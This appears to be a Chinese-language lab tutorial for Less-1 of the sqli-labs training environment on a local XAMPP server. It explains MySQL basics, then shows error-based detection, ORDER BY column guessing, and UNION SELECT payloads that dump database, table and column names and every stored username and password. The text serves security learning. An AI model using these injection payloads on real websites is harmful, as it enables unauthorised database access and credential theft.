本次實驗環境用的是Xampp,搭建的sqli-labsmysql
配置環境:git
下載路徑https://github.com/Audi-1/sqli-labs,下載源代碼,將解壓好的文件夾放在xampp\htdocs文件夾下,而後修改/sqli-labs/sql-connections/db-credb.inc文件中mysql帳號密碼,使之能鏈接上數據庫github
開啓apache/MySQL服務面試
訪問http://localhost:8088/sqli-labs(我端口修改成8088)sql
點擊建立數據庫數據庫
接下來進入第一關apache
在開始以前,咱們回憶一下Mysql基本操做命令。函數
開啓MySQL服務,使用cmd命令行操做MySQL。使用mysql -u root -p,輸入密碼登陸MySQL(-u是指輸入用戶,-p是輸入密碼)學習
查看全部數據庫,show databases;命令行
此時發現了剛剛,seli-labs建立的數據庫security。查看數據庫,use security;
查看當前數據庫全部表,show tables;
查字段信息
查看user中數據用戶信息,select * from user;
還可使用萬能的查詢語句進行查庫、查表、查列、查字段。
查庫:select schema_name from information_schema.schemata;
查詢security表:select table_name from information_schema.tables where table_schema='security';
查詢users列:select column_name from information_schema.columns where table_schema='security' and table_name='users';
查字段:select id,username,password from security.users;
總結一下,咱們可使用
查庫:select schema_name from information_schema.schemata;
查表:select table_name from information_schema.tables where table_schema='security';
查列:select column_name from information_schema.columns where table_name='users';
查字段:select id,username,password from security.users;
接下來咱們能夠進行實驗了,首先打開Less-1第一關嘗試輸入數字型?id=1實驗一下效果,就是這個樣子的
在正式開始學習以前咱們先打開源代碼,將源代碼進行調整
找到源代碼中以下所示位置,加入代碼echo $sql;將sql語句進行輸出,方便咱們更清晰的去學習
輸入?id=1實驗一下
這樣就能夠看到,SQL語句啦
咱們將它放到數據庫執行一下,發現獲得了id=1的用戶名/密碼
查找全部內容來自users表條件是id=1的數據,那limit是什麼意思呢?
咱們去掉條件試一下select * from users limit 0,1;
發現沒有變化
limit 1,1獲得了id=2的用戶名密碼
limit 2,1獲得了id=3的用戶名密碼
因此第一個參數是第幾行開始,下面試一下第二個字段
能夠看出第二個參數是展現多少行
因此limit 1,1第一個參數是從第幾行開始,第二個參數是顯示幾個。
知道了sql語句以後,咱們看一下第一題
剛剛輸入?id=1獲得了id=1的數據,如今咱們輸入?id=1'看一下
此時頁面報錯了,我由於咱們多輸入一個’sql語句變成了SELECT * FROM users WHERE id='1'' LIMIT 0,1沒法執行因此報錯了,因此此時就能夠判斷這裏存在sql點
若是咱們將原來語句中閉合的單引號後面的內容註釋掉的話會怎麼樣呢?
此時select *from users where id='1'後面被註釋因此他是能夠執行成功的
下面可使用order by來嘗試猜他的列,首先輸入order by 10試一下
此時提示是‘未知第10行’
而輸入order by 1時頁面顯示正常
咱們去mysql查看一下,order by是什麼意思呢?
首先看一下user表正常顯示狀況
order by 10時,返回報錯信息:未知第10行
order by 1時,顯示和不加order by沒有區別
下面試試order by 2,此時沒有報錯,可是顯示順序發生了變化,以第2列進行a-z的排序
order by 3時,以第三列進行了排序,原來order by是幾就是以幾列進行排序,那麼,users表只有3列怎麼辦呢,接下來試一下order by 4;
order by 4時系統再次報錯
這下咱們知道了,使用order by函數對錶的列進行猜解,直到頁面顯示正常爲止。
知道了表的列以後,咱們要作的就是查看哪一列能夠進行利用。此時須要使用到union聯合查詢
但此時並無什麼效果,咱們將sql語句複製到MySQL看一眼是什麼緣由
能夠看到此時的意思應該就是:查詢來自users表id=1的全部數據而且查詢1,2,3,可是此時頁面只能顯示一行因此咱們所想的並無顯示出來,此時咱們能夠查詢一個users表中沒有的數據,使第一句顯示不出內容讓mysql只顯示咱們union後面的信息。
這樣就達到咱們的目的啦
咱們順利的獲得了兩個回顯。
接下來咱們利用兩個回顯位置執行查詢數據庫版本操做
那麼此時咱們找到了能夠利用的注入點,咱們要作什麼呢,查他的數據庫、表、列、數據。
首先咱們查詢他的數據庫呢,-1' union select 1,2,schema_name from information_schema.schemata --+
獲得了第一個數據庫信息
使用limit控制一下要輸出的信息
第二個數據庫名
可是此時每次只能取到一個數據,使用group_concat()函數產生一個表名的組,進行查詢
這樣咱們就一次獲得了全部數據庫名
下面咱們查詢表信息,使用?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables --+
可是此時查詢到的是全部數據庫的表全部表信息,咱們只須要security表,只用where 添加條件就行了-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
下面是取列的數據😴-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' table_name='users' -- +
此時雖然是users表可是沒有規定數據庫因此去取了全部數據庫users表的列,咱們須要加上security數據庫and users表
-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' -- +
這樣咱們就已經取到了數據庫security,表users中的列
這下數據庫、表、列都有了,能夠取出全部表中數據了,首先是用戶名-1' union select 1,2,group_concat(username) from security.users -- +
而後是密碼-1' union select 1,2,group_concat(password) from security.users -- +
這樣就獲得了全部用戶明/密碼,但分開顯示看起來十分蛋疼。咱們用concat_ws()函數將username/password列拼接起來顯示,-1' union select 1,2,group_concat(concat_ws('~',username,password)) from security.users --+
這樣就獲得了全部用戶名,密碼的組合信息,看起來也十分方便。